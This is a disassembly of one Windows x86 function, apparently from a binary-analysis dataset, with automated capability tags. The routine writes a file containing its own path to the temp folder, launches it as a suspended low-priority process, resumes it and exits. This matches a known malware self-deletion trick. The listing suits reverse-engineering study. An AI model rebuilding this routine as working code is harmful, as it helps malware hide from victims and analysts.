Function at 0x425eb0
Capabilities:
Create process on windows
Get common file path
Resume thread
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
mov eax, dword [0x43ba24]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x660], 0
push 0x103
push 0
lea eax, [ebp - 0x65f]
push eax
call fcn.0040e9c0
add esp, 0xc
mov byte [ebp - 0x4f8], 0
push 0x103
push 0
lea ecx, [ebp - 0x4f7]
push ecx
call fcn.0040e9c0
add esp, 0xc
lea edx, [ebp - 0x660]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x425f1b
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x435208
lea eax, [ebp - 0x664]
push eax
call fcn.00401380
add esp, 8
mov dword [ebp - 0x66c], eax
mov ecx, dword [ebp - 0x66c]
mov edx, dword [ecx]
mov dword [ebp - 0x670], edx
mov eax, dword [ebp - 0x670]
push eax
lea ecx, [ebp - 0x660]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [ebp - 0x664]
call fcn.004019a0
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x660]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 0xffffffff
jne 0x425f98
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea eax, [ebp - 0x4f8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x3f0], 0
push 0x3e7
push 0
lea ecx, [ebp - 0x3ef]
push ecx
call fcn.0040e9c0
add esp, 0xc
push 0x435228
lea edx, [ebp - 0x668]
push edx
call fcn.00401380
add esp, 8
mov dword [ebp - 0x678], eax
mov eax, dword [ebp - 0x678]
mov ecx, dword [eax]
mov dword [ebp - 0x67c], ecx
lea edx, [ebp - 0x660]
push edx
lea eax, [ebp - 0x4f8]
push eax
lea ecx, [ebp - 0x4f8]
push ecx
mov edx, dword [ebp - 0x67c]
push edx
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea ecx, [ebp - 0x668]
call fcn.004019a0
mov dword [ebp - 0x4fc], 0
push 0
lea ecx, [ebp - 0x4fc]
push ecx
lea edx, [ebp - 0x3f0]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x3f0]
push eax
mov ecx, dword [ebp - 0x510]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x510]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x4fc], 0
ja 0x42607b
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x44
push 0
lea eax, [ebp - 0x558]
push eax
call fcn.0040e9c0
add esp, 0xc
mov dword [ebp - 0x558], 0x44
mov dword [ebp - 0x52c], 1
mov word [ebp - 0x528], 0
lea ecx, [ebp - 0x50c]
push ecx
lea edx, [ebp - 0x558]
push edx
push 0x43529c
push 0
push 0x44
push 0
push 0
push 0
lea eax, [ebp - 0x660]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x426132
push 0xfffffffffffffff1
mov ecx, dword [ebp - 0x508]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0x80
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, dword [ebp - 0x50c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x508]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 0x508]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]